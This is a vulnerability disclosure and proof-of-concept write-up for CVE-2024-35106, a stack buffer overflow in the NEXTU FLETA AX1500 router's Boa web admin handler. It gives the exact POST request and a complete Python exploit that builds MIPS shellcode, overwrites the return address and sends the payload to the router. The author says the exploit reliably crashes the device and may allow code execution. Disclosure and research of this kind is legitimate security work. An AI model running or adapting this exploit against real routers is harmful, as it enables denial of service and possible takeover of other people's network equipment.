# NEXTU FLETA Wifi6 Router DOS, Potential RCE POC

This document describes how the exploit was carried out on the EZNET FLETA WiFI router through the CVE-2024-35106 vulnerability.

## Vulnerability information
[CVE ID]
CVE-2024-35106

[Vendor of Product]
NEXTU

[Product]
FLATA AX1500 Wifi6 Router

[Version]
1.0.3

[Vulnerability Type]
Buffer overflow

## Execution Environment

The router operates on a MIPS architecture based on a Realtek chipset and little-endian.  
The router firmware version is v1.0.3.

This router uses the embedded web server Boa, whose last release was in 2005. However, this router utilizes the Boa web server for the admin web page service that controls the router’s firmware.

## Vulnerability Execution Conditions

The conditions required to trigger the vulnerability are as follows:

1. The router must be in its factory default state or the user must be logged in.
2. Ten QoS rules must be pre-saved.
3. Before executing the exploit, the IP QoS page (ip_qos.htm) must be accessed via the web dashboard.

## Vulnerability Occurrence Point

A stack buffer overflow occurs due to the lack of verification of the byte length of the IP QoS rule name when setting QoS for an internal IP on the router’s admin web management page.

When the IP QoS configuration request parameters are passed to Boa’s handler function `formIpQoS`, the handler extracts the byte length of the "entry_name" parameter and copies it into the `acStack_1c0` variable using the `strcpy()` function.
![Pasted image 20250207042056](https://github.com/user-attachments/assets/84685e33-02df-4156-bc9a-58f855109396)


In that function, the `strcpy` function is used to copy the buffer without verifying the buffer size.
![Pasted image 20250207042120](https://github.com/user-attachments/assets/2ecfb33f-8c40-4b37-bab5-3a04549a342a)

Because the variable `acStack_1c0`, which stores the binary of the copied `entry_name` parameter, is fixed at 16 bytes, using the `strcpy()` function—which does not limit the size of the data being copied—will result in a buffer overflow.
![Pasted image 20250207042349](https://github.com/user-attachments/assets/1c8b67f0-12b9-4a8e-b17d-5f59da7bbf9e)

![Pasted image 20250207042359](https://github.com/user-attachments/assets/1000d1de-62d2-40c0-ad07-d7a083a0f1b0)


## Vulnerability Exploit Flow

The POST request and parameters of the attack vector are as follows.

```
POST /boafrm/formIpQoS  
  
BODY  
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
```

An attacker prepare binary include two things, arbitrary binary code and arbitrary Address, and set in the `entry_name` parameter of the POST request. 

So the RET address, which at `formIpQos` handler stack address memory, overwritten with an arbitrary address due to a stack overflow. 

![Pasted image 20250207042541](https://github.com/user-attachments/assets/caeeed35-feb3-4475-9d05-53263627f258)
(0x7f8548cc is the formIpQoS handler Stack RET address)

However, since the handler function must complete its execution normally, 10 IP QoS rule sets must be saved in advance.
![Pasted image 20250207042613](https://github.com/user-attachments/assets/794bb2f0-60c9-49b9-9f88-c6cc20963435)

## Vulnerability POC

``` python
from pwn import *  
from hackebds import *  
  
  
def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["autoreboot"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
power_off_code = shutdown_shell_code()  
  
gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  
  
print("power_off_code_length")  
print(len(power_off_code))  
  
final_code = power_off_code + gap_code + RET_address + stack_gap  
  
import socket  
import ssl  
  
# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  
  
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
  
        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  
  
        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  
  
        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
            #Print response  
        print(response.decode('utf-8'))
```

Noted that, while executing this POC for the vulnerability, will definitely cause a DOS. However arbitrary remote code execution may not occur.
## Impact Issues Raised
This vulnerability can be exploited for DOS attacks and potential RCE attacks.

## Time line 
2024-05-16: Assigned CVE Number - CVE-2024-35106 <br>
2024-05-16: Reported vulnerabilities to manufacturers <br>
2024-06-05: Response about vulnerabilities from manufacturers<br>

## Discoverer
Ku In Hoe

## Helped me to register this vulnerability
Assistant Prof. Seonghoon Jeong (Sookmyung Women’s University)
